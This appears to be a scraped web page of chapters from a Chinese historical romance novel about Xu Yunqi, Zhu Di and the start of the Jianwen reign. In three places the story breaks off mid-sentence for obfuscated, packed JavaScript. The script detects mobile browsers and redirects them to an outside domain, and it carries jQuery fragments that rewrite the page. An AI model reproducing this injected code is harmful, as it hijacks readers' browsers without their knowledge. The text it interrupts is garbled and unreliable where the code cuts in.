拿来砍桌子,砍下去半天没点动静,破烂一把,云起在心中暗自嘲笑。 又拆开信封,取出信来看了一眼,只写了八个字。 情深不寿,慧极必伤。 这都什么跟什么玩意儿!云起只想仰天咆哮,留份武功秘籍多好!云起随手把剑丢到一旁,信揉成一团扔了,郁闷地转身出院,朝后房走去。 那处正关着倒霉催的宁王。 朱棣这数日来,每日除了吃饭睡觉,便不再装疯,反而来了院内,与宁王呆在一处,不知二人在搞什么勾当。 云起心内好奇,在房外瞄了一眼,见朱权一切正常,没有想象中衣衫凌乱,一把鼻涕一把泪喊“放我出去”,又或者被捆在椅上,眼神迷离,神智恍惚,菊花红肿,身上满是鞭痕等情况出现。 “云起么?进来罢。”朱权放下手中的书,微笑道。 云起推门入房,见朱权两手被绳索捆着,道:“看啥书?” 朱权悠悠道:“今儿除夕夜了。” 云起道:“姐夫答应过完元宵,便送你回会州去。” 朱权笑着点了点头,道:“谢小师弟求情了。”说毕那眼又盯着云起不住看,只看得云起心里发毛。 云起忽道:“看啥?你跟着我爹爹学的功夫?” 朱权饶有趣味道:“你和王妃仿佛一个模子里印出来的,都与师娘长得很像。” 云起脸上有点红,道:“你不该唤我娘作师娘,她不过是个妾,我二哥他娘才是嫡母……” 朱权道:“平素喊惯了,就温师娘待我们几个极好……罢了,不说这个。徐将军去了多年,你姐有没有告诉你,他是得了什么病死的?” 云起蹙眉道:“我也不知,听姐说,他死得似乎有点内情,你不妨问问她。” 云起对徐达一向是没多大感情的,这个爹怎么说都好,早死并非他的错,然而将四岁大,尚未感受到多少亲情的小云起送进宫内,关在那高墙之中,来日长大,又将当只听命的狗,如今想起来,自己却是从未有过父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云起脸色不太好看,见朱权手腕还被绑着,哭笑不得,这怎么喝?明着要给十七王爷难堪不是? 朱权却是豁达,一笑置之,双手捧了酒杯,道:“喝。” 一轮酒过,朱棣这才笑道:“小舅子怎么不太高兴?来,夫人,你喂你弟,我喂我弟!大家不可拘束!” 徐雯与朱棣极有默契,各自挟了块鸡肉,徐雯喂给云起,朱棣捧着得意洋洋地去喂朱权,一齐道:“弟,啊——” 朱权笑着吃了,云起却一口酒喷了出来,道:“真是拿你俩没办法……” 云起要接,徐雯却偏不让,逼着云起把菜吃了,云起道“咱换个位置,你你……你照顾高炽去。” 徐雯盈盈笑道:“高炽懂事得很,用不着我照顾。”又吩咐道:“高炽,你也顾着你弟啊。” “嗯。”朱高炽年仅十六岁,却是少年老成,兼之生有脚疾,长相又不知随了哪个倒霉催的祖先,容貌竟与朱元璋有几分相似,都是一般皮肤黯淡,宽头大耳,与其弟朱高煦大不相同。 朱高煦长得像朱棣,也更得朱棣徐雯二人欢心,云起却是对这痞子招牌长相颇有点心理阴影,不太待见高煦,只与高炽更谈得来,此刻闻言笑道:“高炽也是大人了,有相好的姑娘不成?感情好么?” 胖墩朱高炽打趣道:“甥儿不似小舅长得这般玉树临风,自是无人瞧得上的了。” 席间众人又是一通笑,朱棣一面喂朱权吃肉吃菜,云起心想这俩王爷都二三十岁人了,大男人还做这等傻事,也不怕小辈笑话,把绑着的手解开让他自吃去不就完了么?冷不防朱权忽道:“方才本王说天德将军最待见你姐弟二人,心里疼着云起,小师弟还不信,冲我发了一通火。” 徐雯扯着袖子,为朱棣朱权斟满酒,笑道:“自然是疼的,由不得他不信,云起脾气倔得很,小聪明混蒙了眼,只看得见这明面上的……” 朱棣点了点头,笑道:“乱世建功立业,盛世明哲保身,若想明哲保身……” 朱权接口道:“自然是当个锦衣卫了,侍天子一人,睥睨百官,与允炆竹马之交,一同长大,又有谁敢动你?” 云起这才明白过来,幼时徐达将自己送进宫内,竟是颇有深意。 朱权又道:“莫说允炆坐正了帝位,纵是换个人坐,你是侍候着先帝过来的人,恐怕也无人……” 朱棣脸色一变,忙打岔道:“不谈国事,来来,喝酒。” 22. 话不投机 拓跋锋最先不胜酒力,醉醺醺告罪自去躺着,朱棣与朱权两兄弟却是酒量甚豪,推杯换盏,直近子时,徐雯领着两个儿子去备开门爆竹,朱权便跟着走了。 席间唯剩酒劲上涌,脑子浑浑噩噩的云起与朱棣两人。 “内弟……哥……嗯……敬你一杯!”朱棣大着舌头,与云起那杯一碰。 云起喝得晕乎乎,面前朱棣已变了两个,勉强拍了拍朱棣的肩,道:“姐夫!别的不说了!云起回去以后……定会……嗝……” “定会帮着你说话,什么黄子澄!方孝孺!都靠边!”云起两眼直转圈圈,断断续续道:“谁……敢诬你造反!我他妈就……抽刀子!捅死他全家!捅他十族!” “哈哈哈——” “哈哈哈哈——” 朱棣与云起干了杯,一同仰天大笑。 朱棣被酒呛着了,咳了几声,醉醺醺道:“哥……若真要造反呢?” 云起一愕,道:“姐夫……” 朱棣脸色一沉,拉着云起的手,道:“叫哥。” “允炆那废物……有甚好?”朱棣道:“再亲……比得上你的亲姐?” 云起一瞬间酒醒了七八分,心里狂跳,不知是酒力所催,抑是亲耳证实了自己先前的紧张,脑子里犹如被敲了一棒,嗡的一声,思维一片空白,翻来覆去只思索着三字。 怎么办? 朱棣大着舌头,两眼通红,道:“来日哥坐正那位,六部、大学士、大将军,随便你……挑!哥答应你!” 云起强自镇定下来,两眼迷离地看着朱棣,竭力装出一副醉相,摆手道:“不……不成。姐夫……” 朱棣怒道:“叫哥!” 云起迷迷糊糊道:“姐夫杀了我罢,杀人……灭口,免得……坏事!” 朱棣眯起双眼,看着云起,一手按着桌上瓷盘,瓷盘发出“咔嚓”轻响,一道裂纹扩开,碎成两半。 朱棣手指摸上了那锋利的碎瓷边缘,喃喃道:“怎能杀你?不成……就不成。” 云起双眼没有焦点地望着朱棣,朱棣咽了下唾沫,摇了摇头。 云起吁出一口滚烫的酒气,道:“不成,便如何?!” 朱棣松了云起那握杯的手,一手顺着云起手臂摸上去,摸了摸他的脸。 朱棣冷冷道:“既要喊姐夫,来日……你便是国舅爷,也仅是个国舅爷。” 杀机转瞬即逝,云起闭上双眼,碰的一声前额磕在桌上,醉倒了。 云起的意识已趋近迷糊,神智中无数场景跳跃变迁。 十二岁时,一群侍卫哄然而上,将年仅十岁的朱允炆挤在墙角,允炆大哭道:“云哥儿救命啊!” 小云起甩开拓跋锋的手,拼死喊道:“莫欺负允炆!” 十六岁时,玄武湖畔,桃花缤纷盛开,拓跋锋与云起并肩躺着,拓跋锋忽地坐起,翻身扑在云起身上。 “老跋你干嘛!别……” “师哥想死你了!”拓跋锋笑道,一面死不松手,按着云起一顿猛亲。 八岁时,灵堂内哭声,骂声汇集于一处,徐达黑黝黝的棺材前,朱棣直着脖子大嚷:“打女人算什么——!打女人算什么!!我操!!” 朱棣拼死护着徐雯云起两姐弟,任由徐达亲戚拳脚朝自己身上招呼,吼道:“住手!你们这群没心肝的!好歹也是徐将军的儿啊——!我操你们!” 朱棣抱着小云起与徐雯,一面不住朝外退去,边骂道:“一群龟卵子!有本事与王爷……” 说着让徐雯看好小云起,捋了袖子,抢入战团,与徐辉祖,徐增寿两兄弟乒乒乓乓地打在一处。 徐辉祖抡起条凳朝朱棣身上不留情地猛拍,大骂道:“朱家全是畜生——!打死这小畜生!咱爹就是吃了那狗皇帝送来的蒸鹅……” 徐雯尖叫道:“别打了!王爷!我们走!” 朱棣如同丧家之犬般被徐家兄弟一顿不留情的痛打,赶出府外。 徐雯大声恸哭,朱棣两眼通红,转身对着徐雯便要跪。 “莫犯浑了,这又与你何干……”徐雯哽咽着来扶朱棣。 朱棣满头是血,长叹一声,三人便这么静静蹲在徐家府外的围墙下。 小云起忽然哇的一声大哭起来,朱棣手忙脚乱地拭去头上的血,别过脸去,只以为那副模样将小云起吓着了。 小云起一面哭,一面伸手去拉朱棣的袖子。 徐雯咽了眼泪,舒了口气道:“别想了,看你把云起吓的。” 朱棣这才点了点头,转过身来,把小云起抱在怀里,道:“云起,回南京后,千万莫乱说,懂么?” 蒸鹅。 云起猛地从床上坐起,疾喘数声,满身大汗,犹似水中捞出来的一般,拓跋锋坐在床边关切道:“怎了?” 云起掀开身上盖着的袍子,看了一眼,那是朱棣的饕餮红锦王服,想是醉倒后被朱棣抱着进了内间,放在榻上。 “什么时辰了?”云起头疼得厉害。 拓跋锋酒已醒了,笑道:“子时了,王妃和王爷在放爆竹呢。师哥抱你出去?” 云起吁了口气,与拓跋锋对视,两人心有灵犀,安静地接了个吻,继而手拉着手,走到前院。 朱权,徐雯与朱棣三人站在一处,朱棣笑着招呼道:“快来!点炮了点炮了!” 恍惚什么也没有发生过,朱高炽手持一根檀香,道:“小舅来还是甥儿来?” 徐雯笑道:“你点就是,云起笨手笨脚,别炸着了。” 云起见那一家人融融之乐,情不自禁跟着笑了起来,朱权两手仍被束着,朱棣探手到朱权耳畔,伸出食指塞住朱权的耳朵。 徐雯伸指堵着小儿子朱高煦双耳,云起笑道:“有那么响,一个个怕得跟什么似的……”一句话未完,拓跋锋冰凉的修长手指已伸来,堵住云起双耳。 拓跋锋手肘搭在云起的肩上,把下巴搁在云起脖旁,笑道:“点了!” 朱棣道:“儿子!点!” 朱高炽燃着了引线,王府管事登时挑高了那一长串爆竹,轰天动地爆竹响,徐雯尖叫数声,众人哈哈大笑,北风卷起,将那红纸碎吹得纷纷扬扬,漫天遍野地撒了下来。 王府开门炮一响,登时北平千家万户纷纷应和,爆竹声惊天动地,旧岁除,新年至,无数孩童欢快的喊声汇成一股洪流,在北平上空飘荡。 同时间,南京,朱允炆正式登基,身披九五龙袍,诏告天下,改换年号为“建文”。 建文元年便这么来了,在所有人的意料之中,又在所有人的意料之外。 建文这一年号,犹如一个巨大的漩涡,将无数人卷进了各自的宿命中,宿命的轨迹交错繁复,直至靖难之役告捷,云起回想起这夜,仍不得不暗叹天意的巧妙,人生的无常。 时间转瞬即逝,正月十六,云起省亲告假结束,动身回南京。 徐雯自是吩咐下人收拾了满车的货礼,捎去给南京锦衣卫的一应同僚,清晨天不亮便起,整个王府内忙得团团转,六辆大骡车押了数十口大箱,停在王府正门处。 云起道:“姐,够了,别再朝车上塞东西了。” 徐雯只当听不到,又吩咐道:“当心着点儿,捆严实了啊,那箱里都是腊味干货……” 云起蹙眉道:“好了,捎这许多回去,哪吃得完……”说毕心中一动,凑到徐雯身边,躬身,仰起头来,见徐雯眼眶微红。 徐雯别过头去,笑道:“这一去,又得是一个五年了。人这一辈子呐……也没几个五年能过。” 云起倏地被这句话弄得也伤感了起来,抱着徐雯,道:“等辞官了就回家陪你。” 徐雯抬袖拭了把眼泪,强颜笑道:“讨个媳妇儿一起回来更好,有小孩儿,姐替你养着。” 云起大窘道:“还是算了。”说着又哭笑不得地看了拓跋锋一眼。 “???”拓跋锋一截木头般杵在马车旁,满脑袋问号。 拓跋锋想安慰几句,又不知如何说,想了半天,于是道:“别难过,不定年底又见着了……”一句话未完,脑袋上已吃了个爆栗。 朱棣箍着拓跋锋的脖子将他拖到一旁,咬牙切齿低声道:“这话也说得的,生怕没人知道呢!” 徐雯与云起那厢仍拉着手,恋恋不舍,徐雯忽地想到了什么,道:“姐给你派了个小厮跟着……三保!” 云起瞬间哀嚎道:“不是吧——!不要可以么?!” 三保笑着应了声,站在墙边上,挎着个布包,手上端着个木盒,道:“王妃着我跟着舅爷回京。” 徐雯正色道:“三保是个有眼色的,知道啥话该说,啥话不该说,办事也利索,你姐夫说锦衣卫正使房里宽敞,让他住外间,平素三顿与侍卫们一处吃就是。” “何况三保也吃得不多……一顿就两碗饭还不吃猪肉,哪像这吃饭不干活的……”徐雯说着用手去戳拓跋锋,拓跋锋晃了晃,徐雯无比愤怒道:“光早饭就得吃十二个包子!” “……” “姐你稍停一会儿,我跟你缩……” “不要缩拉你缩什么缩……” “你听我缩……” “那个……夫人……” “你不要缩了不要缩了,你们都不要缩了,先听我缩……三保会写字儿,跑腿,做饭,洗衣服,养马,蒸糕点,说笑话儿,武功也不错,一把弯刀使得像模像样,还会剪过年用的窗花儿……” “停——停!” “又是回人,懂突厥话,蒙话,回人话……” 徐雯在那处不住念叨,浑没给云起留插嘴的地儿,又朝三保道:“你给我看好了小舅爷,饭记得让他吃,也不可累狠了,知道么?” 云起绝望道:“你起码要问一下我的意见吧,姐!” 徐雯道:“磕头!” 三保利索跪下,朝朱棣徐雯磕头,朗声道:“谢王妃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472503|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷养育之恩,三保这就去了,为小舅爷赴汤蹈火,在所不辞。” 果然是个有眼色的,云起心想,谢恩那时也知道把“王妃”说在“王爷”前头。 徐雯拂袖道:“快去吧,记得想姐。”说毕把袖按在鼻前,竟是也不送行了,转身入府。 云起无奈,只得把三保勉为其难地收下了。 朱棣道:“内弟,保重。姐夫不送你了。”说着上前抱了抱云起。 云起上前与朱棣拥抱,两手搂着朱棣脖颈,朱棣双手半点不老实地抱在云起的腰上,姐夫小舅子和乐融融,亲情温暖。 云起略有点尴尬,转身推开朱棣,道:“你去陪着我姐罢。” 朱棣道:“嗯,这就去。” 朱棣嘴上说“嗯”,抱在云起腰间的手却仍不放。 云起咬牙道:“松手……” 朱棣揽着云起的腰死不放手,拓跋锋的脸瞬间就绿了,二话不说,走上前来,抡起拳头便朝朱棣开始招呼。 “……锋儿!” “哎!你俩干嘛这是……师哥!停!” “哎呀——哎呀——” 变故倏生!只见拓跋锋揪着朱棣衣领提拳便揍,朱棣冷不防挨了一拳,晕头转向地去推拓跋锋,两人扭来扭去,打成一团。 云起与三保俱是看傻了眼,张着嘴,怎突然打起来了?! “你他妈的吃里扒外的小狼崽子,王爷抱一下自己小舅子又怎了……哎呀!哎呀!” “猢——” “……” 云起束手无策,大叫道:“别打了!姐!快来!你们看我姐来了!我姐来了——!” 朱棣与拓跋锋打得火热,云起吼道:“三保!你架王爷,我架师哥!”说着把心一横,抢进战团。 是时只见砰砰哐哐,尘土飞扬,打成一团,两人冲进打得不可开交的朱棣与拓跋锋身前,咬牙将其分开! 三保也横该命犯天煞,刚跟了云起便挨一顿胖打,拓跋锋与朱棣的拳脚绕开云起,八成都招呼在三保身上。三保一面大叫,一面把朱棣胳膊勒到背后,不住后退,云起才堪堪按着拓跋锋,心有余悸地看着这义父子二人。 朱棣尚且飞脚,高蹬,怒目骂道:“我踢死你——!” “好了好了!”云起怒道:“别打了!” 拓跋锋被云起按着,那厢三保被瞎拳揍得鼻青脸肿,松开朱棣。 朱棣恨恨一整袍襟,靠近些许,道:“你这就回南京去了……” “嗯”云起又好气又好笑,拓跋锋也不打了,道:“我的,不许抱。” 孰料朱棣说话是假,讨场子是真,衣袖一扬,又给了拓跋锋一拳。 “哎姐夫!混账!”云起抓狂道:“师哥你给我回来!” 拓跋锋不干了,冲出去追朱棣。 云起哭笑不得,道:“走了走了!别理他们,三保,上车。” 马三保又看了一会,惴惴跟着云起上了车。 朱棣飞快逃跑,拓跋锋大步流星地追,追上了又给了朱棣一脚,于是朱棣横飞出去,堂堂王爷摔在院子里,不动了。 “?”拓跋锋看了一会,将朱棣翻过来,朱棣四脚朝天摊着,拓跋锋道:“云起!你等我!” 说着凑前听了听,确认朱棣没死,方起身走向马车。 朱棣装死片刻,蹦起来跳脚道:“你等着瞧!胳膊肘子往外拐的……” 拓跋锋又转身去追,朱棣忙不迭地逃了。 云起笑得乏力,吩咐道:“快开车……再不开小爷的命儿就得交代在这里了。” “云起!”拓跋锋喊道,跑向马车。 拓跋锋呆呆看着那车,拔腿就追,跑了几步,终究停了脚。 云起掀开车帘,朝后望来,道:“师哥!” 拓跋锋挥手道:“云起,你等我!”继而从怀中取出一枝竹笛,悠悠吹起了曲子。 春日煦暖,笛声穿越晴空,于北平城上婉转回响。 云起蜷在车内软椅上,一手揽着三保,望向窗外碧蓝长空。 “他也学会新曲儿了。”云起笑道。 三保笑答道:“汉人的曲儿三保知得不多,请舅爷赐教。” 云起道:“我在舞烟楼外,也听阿姑们唱过。” 三保揶揄道:“舅爷常去?去得熟?” 云起正色道:“怎可能去拿那苦命女子作乐?偶尔回去看看,坐着听听曲,赏几个钱,也就罢了。教你,这曲儿唤西风凋。” 回去看看?三保敏锐地察觉出了一字。 拓跋锋静静目送马车离去,繁华大都,人烟喧扰,那马车载着他心中毕生所系,离开北平,驰向南京。 云起一脚架在窗台上,一晃一晃,自顾自哼唱道: “昨夜西风凋碧树,独上高楼,望断天涯路。” “欲寄彩鸾兼尺素,山长水阔知何处……” ——卷二·玳瑁戒·终—— 23. 靖难之初 朝无正臣,内有奸逆,必举兵诛讨,以清君侧。 ——朱元璋:《皇明祖训》 “什么清君侧?” 徐雯埋头翻着一本书,漫不经心道:“这可是先皇定的规矩,名不正而言不顺,言不顺而事不成……你既要吊民伐罪,也须有个由头。” 朱棣笑道:“非也,非吊民伐罪,如今四海升平,天子在位,民有何苦?为夫学的是孔融,志在‘靖难’。” 徐雯笑得花枝乱颤道:“莫胡说,那家伙也比得的?‘融才疏意广,迄无成功’,这句倒是还给先生了?” 朱棣眯着眼,缓缓道:“夫人呐……” “报王爷,会州王将军于府外求见。”家仆入内道。 朱棣大喜道:“终于来了!” 徐雯哭笑不得道:“老十七这次也是下足血本了,连亲兵也借予你。” 朱棣一阵风出去,片刻后匆匆奔回,笑道:“夫人,你猜朱权那封信,召来了多少部下?” 徐雯似笑非笑看着朱棣,朱棣道:“一万人!今夜本王便抡板砖上!把张昺谢贵给做了,且看为夫的厉害——”说着便挽了衣袖,摩拳擦掌。 徐雯道:“等等!说归说,你先把老十七给放了,把亲兄弟关在自个家里,是什么道理?” 朱棣道:“夫人莫管就是,咱家乖乖小权儿,素来喜欢被捆着。” 徐雯哭笑不得,怒道:“怎能不管?府里现是老娘管着事儿呢!一顿吃十二个大包子那家伙还没打发走,现又添了张嘴!” “朱权那家伙喝茶要一品老君眉,烹茶雪水要隔年埋的,吃块糕要吃贡糕,捧片西瓜喂他还得挑出籽儿来!这么难侍候,还让不让人活了!!” 朱棣苦着脸道:“此刻若放十七弟回会州去,只恐怕便遇上朝廷前来宣旨削藩的钦差,到时朵颜三卫再被收编,兵也罢了,朱权进了南京,又是凶多吉少……允炆身边一群尖酸腐人,肚子里却是颇有些坏水,众兄弟中……” “……朱权与我交情最好,怎能不管?” 朱棣赔笑道:“这就去放了他,你帮我将这兵册看一遍,夫人阅卷素来过目不忘,将伍长名儿记着,明儿陪我去军营里走走。千万啊。” 朱棣又好说歹说道:“回来给你买串糖葫芦。” “……” 徐雯啐道:“谁吃那小女孩要的玩意儿。” 点灯时分,徐雯还未吃饭,持笔对着一本兵册苦想。手肘搁在案上,单手撑着脑袋,昏昏欲睡。 拓跋锋站在桌前,伸长了脖子,看那点兵册。 点兵册上是朱宁的亲卫,此刻正人山人海地排布 徐雯略抬起头,与凑得极近的拓跋锋对视,徐雯冷冷道:“怎么?没事别来烦着姑奶奶。” 拓跋锋握拳,躬身,兴奋道:“姑奶奶,要造反了吗?” 徐雯深吸气。 拓跋锋又猴急道:“什么时候造反?我要去接云起。” “……” 徐雯一手扶额,把毛笔狠狠一摔,歇斯底里地尖叫道:“朱棣——!速速来给为妻收了这妖孽!!!” 当天下午,朱权亲兵共计万人,浩浩荡荡地抵达北平。 南京却是另一番山雨欲来风满楼的景色。 云起坐在马车中,沉吟不语。削藩一事,要管又得从何管起?自己不似朝臣,在朱允炆面前没有说话的份量,锦衣卫地位再高,再得信任,亦不过是在那小小宫闱之地中发号施令,一旦站上金殿,自己便仅仅是个桩子。 锦衣卫未曾形成足够影响皇上决策的势力,若是自己能像蒋瓛一般,在朱元璋面前能说上几句话……允炆与自己……蒋瓛与朱元璋……云起眉头深锁,再去请蒋瓛出来?不,方孝孺等人一定不会卖侍卫们的帐。 “到了?” 三保将车帘掀开一条缝,笑答道:“东华门。” 云起倏然发现,守门士兵看自己的目光浑然变了样,不再是见了锦衣卫便战战兢兢的神色。反而蕴着一丝不易察觉的惬意,那是“坐看高楼倒”的幸灾乐祸。 全南京戒严,比起自己离开京城那会足足多了三倍的巡城兵力。 云起吩咐车夫:“不回宫,先去梅子巷。” 三保道:“我先押着这几车物件儿回宫去?” 云起摇头道:“不,你随我一起,带你去我娘舅家。” 当三保发现,云起的“娘舅家”原是个叫舞烟楼的地方,浑身汗毛唰地一下尽数竖了起来。 春兰道:“徐云起!回一趟北平,也不给老娘带点新奇玩意,现还有脸来打探消息?” 云起坐下道:“姑娘,上茶,大爷要嫖你。” 春兰:“……” 春兰瞥了马三保一眼,随手给他斟茶,兰花指拈着锦帕,不悦道:“玩昏头了你!昨儿六路兵马带着圣旨,分由四门出城,东南西北,城中传得沸沸扬扬……” 云起道:“他不嫖,别把三保吓着了。” 春兰咬牙切齿,伸手指便要来拧云起,云起忙不迭地笑着避了,又问:“谁撺掇这事儿的?” 春兰想了想,答道:“黄子澄,齐泰,李景隆,方孝孺四个家伙联名上书。” 三保微张着嘴,依稀有种自己进错了地方的错觉,这处不是青楼么?怎么恍惚进了枢密院? 云起仿佛猜到三保所想,微微一笑道:“你不知这世上消息最灵通的地儿,便是舞烟楼。” 三保似懂非懂,春兰又低声道:“且不说这茬,我三天前便得到消息,雇了个车,遣人往北平去,给你和王爷夫人报信儿,你接到了不曾?” 云起闭上眼,摇了摇头,答道:“想是路上错过了,皇上要瞒着我削藩,日子自然是算得刚好,怎会让人走了消息?” 春兰一手搭在红栏上,朝楼下抛了个媚眼儿,那巷外停下一辆马车,云起问道:“听谁说的?” 春兰悠悠道:“兵部员外郎,中书省李都事……来的人都道你家要倒了。” 云起笑道:“我家早就倒省个空壳子了,不劳那群五品的六品的大人费心。” 春兰又道:“给事中还说了,皇上要撤锦衣卫编制,你悠着点罢。” 云起这下才感到不妥了,颤声道:“什么?你可是听仔细了?” 春兰不答,似嗔非嗔地横了云起一眼,耍泼道:“这咋办呢?徐云起,你说好要娶老娘的啊,别到时又尽混赖。” 云起怒道:“说实话!大事儿呢!锦衣卫一撤,老子仇家满朝,估摸着也离掉脑袋不远了!” 春兰吓了一跳,意识到严重性,结结巴巴道:“就、就、那黄沂礼……黄家小公子……混说着混说着,哎哟徐正使诶,你是贵人,没事的没事的。” 云起摆手道:“好了好了,打住!大爷可没说要娶你,只说给你找个人家嫁了……” 春兰道:“都一样,你自个看着着办罢。”言毕起身,竟是打算送客,春宵一刻值千金,忙着接客去了。 主仆二人离了舞烟楼,云起边走边笑道:“三保,我姐让你盯着我身旁的姑娘家,我猜得对不?” 三保尴尬点了点头,道:“不是王妃……是王爷。” 云起略一意外,却并未多想,朝三保解释道:“春兰想嫁人,又不想嫁人。” 三保一脸没听懂的模样。 云起哭笑不得,自嘲道:“瞧我在说什么……春兰想跟个男人,有夫妻之名,却不想有夫妻之实。” 三保诧道:“楼里的女人,只怕名声不太好罢。” 云起打趣道:“那也未必,我和王妃的娘,当年南京第一大美人温月华,便是从这楼里出来的,不然怎说是娘舅家呢。” 三保这才醒悟过来,忙不迭地告罪,云起倒也豁达。 “反正,她就打算假成亲,不生小孩也不咋的,接客这些年里颇有点积蓄,只想快快活活过自个的。” 三保又唏嘘道:“女大当嫁,总当老姑娘不是办法。” 云起挠了挠头,笑道:“男人要娶樽石头鱼供在房里,也不容易。” 说话间忽然想起徐达与温月华,若认真揣度起自己父亲,倒是个有担当的角色,徐达地位不比寻常男人,天德大将军入南京,竟是纳了舞烟楼红牌为妾,这当中定是遭遇了不少阻碍。 有机会一定要向大姐仔细问问,父母当时是如何在一起的。 说话间到了宫内,云起递了腰牌,朝守门道:“这小子是我们锦衣卫里新来的,来不及制牌。” 门守不信任地打量云起,云起又笑着朝守卫手中塞了点银钱,那守卫方不情愿道:“下次莫乱了规矩。” 云起点了点头,拱手道:“谢两位兄弟了。” 马三保见这一幕,心里便颇有些嘀咕,这小舅爷不是皇上跟前的大红人么?怎的这般落魄? 云起恍若不觉,自道:“先带你熟悉下路,皇宫里大得很,有许多地方去不得……” “什么人!在宫中乱走乱闯!” 迎面一人领着数十名午门卫匆匆而来,更牵着五六只猎犬,狗仗人势,见了云起与马三保,俱是一并凶神恶煞地吠了起来。 马三保只以为是云起手下,锦衣卫率人来接,不料那人行到跟前,却是极不客气。嘲道:“我道是谁,原是徐正使回宫。几日不见,连住的地方也认不得了?闯到御花园来做甚?” 换了平时,莫说宫里当差侍卫,纵是朝臣见了云起,也得点头招呼,恭敬唤一声“徐正使”,如今瞧这光景,自己离开南京两个月,权势滔天的锦衣卫竟是被打成了落水狗,天知道这其中有多少人正幸灾乐祸。 云起略一计较,便淡淡笑道:“呼延正使别来无恙?云起自小在宫中长大,忽地睹物思人,想多逛逛,不定哪日卸职,便看不着了。得罪,这就回去。” 那发话之人正是午门卫正使呼延柯,呼延柯眼珠子贼溜溜地在马三保身上不住瞥,□□道:“这小子又是谁?徐正使又有相好了?” 马三保一怒挽袖,云起不易察觉地按着三保,笑道:“呼延正使此言差矣,何谓‘又’有相好?这话云起不懂,明儿得斗胆问一问皇上。” 徐云起是否失宠还是个未知数,权衡利弊,此刻若惹得他去告御状,倒是不好收拾,呼延柯只得放过云起,又道:“皇上传你觐见。” 云起心想正好把马三保带到御前,让朱允炆点个头,便不用藏头藏尾。遂跟着呼延柯进了午门,在御书房外等候。 朱允炆正在与一帮大臣议事,云起与马三保只得在书房外安静等候。 云起见马三保不太舒服,便低声安慰道:“皇上脾气很好,不用害怕。” 三保应了声“是”,心内想的却是另一件事,都言锦衣卫在皇宫内跋扈飞扬,位居二十二卫之首,徐云起是正使,更是睥睨皇城,南京近千侍卫,以他为首。 如今看来,全无传说中的风光,反而像只被主子遗弃的狗,要见皇上一面,还得在这等着。 那时间正是下午,御书房前开满繁花,春日照得人暖洋洋的,云起看着花园出神,心里想着拓跋锋,十岁的时候,他们常在花丛里打滚儿,或是偷偷摸摸,跑进御书房里,躺在书架后面的桌下睡午觉。 阳光从御书房的天窗照进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472504|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凝成一道裹着细小尘埃的光柱,落在小拓跋锋脸上。 小云起曾仔细地研究过小拓跋锋背后的狼头刺青,把他四仰八叉地扳过来,又五体投地地翻过去。 拓跋锋熟睡时对云起是完全不设防的,小时候如是,长大了也如此。 云起十分好奇,俩人在一起睡觉时,拓跋锋怎能辨认得出自己在碰他?万一是要杀他的刺客呢? 仿佛那是一种天生的直觉,随时能分辨出身边安全还是危险。 小云起端详小拓跋锋熟睡时的面容,主动去亲他的眼睫毛,被小拓跋锋搂着,耳畔传来朱元璋的声音。 朱元璋的嗓音无论在什么时候都是冰冷的,朝廷……北元……杀……诛九族…… 黄子澄出来,掩上了门,朝云起看了一眼,那目光意味深长,继而挑衅地笑了笑。 “黄太傅,别来无恙。”云起淡淡道。 黄子澄冷哼了一声,抬起手掌,在自己脖颈上一抹,作了个砍头的手势,负手走了。 云起笑容敛去,舔了舔嘴唇,道:“三保,你在这侯着,若恰好皇上宣我,随便寻个由头搪塞一下,我去去就回。” 三保应了,云起眼望黄子澄消失在走廊后的背影,匆匆奔向另一方向。 云起迅速穿过奉天殿,朝殿前奔去,到得台阶最上一级,来了个优美的侧身漂移,躲在柱后,听着脚步声,心内默念,三、二、一…… 继而伸长了脚。 晴空万顷,碧天无云。 奉天门外,数队侍卫正在演练站礼,黄太傅于所有人的注视中,一个恶狗吃屎,从四十九级台阶上飞了下来。 黄子澄惨叫道:“啊——” “皇上传云哥儿觐见。”一太监出得书房,特地在“云哥儿”三字上加重了语气。见书房外站着的少年自己不认识,蹙眉道:“你是何人?” 马三保眼色闪烁,低下头去,声音略大了些许,道:“公公,徐正使歇下了,着我来等宣,小的现便去喊他。” “不用了!”书房内传来朱允炆略带着怒气的声音,隔着一层门窗,又问道:“云起身子不舒服么?” 马三保不答。 脚步声响,三保与那太监俱是跪下,太监道:“回皇上,徐正使一路劳顿,想必也……” 三保不敢抬头,只听朱允炆语气中微有不悦,道:“罢了,走罢。” 太监忙起身跟着朱允炆离去,书房内侍卫方纷纷退了。 马三保低声叹了口气。 云起哼着歌儿,三步并作两步回来了,探头朝书房看了看,小声问三保:“皇上宣我了么?” 三保笑答道:“没呢。” 云起点了点头,笼袖站定,继续等候。 日渐西移,等了很久很久,御书房的门一直关着,直至黄昏时分,皇宫内点起灯,三保站得脚酸难耐,云起无奈吁了口气,忽见一名太监出门,转身关门。 云起扯着那小太监问道:“皇上呢?” 小太监诧道:“徐正使回来了?皇上早就走了。” 云起:“……” 云起抿着唇,猜不懂朱允炆是什么心思,只得带着三保回家。 锦衣卫大院里冷冷清清,几大车云起捎回来的货物放在门口。 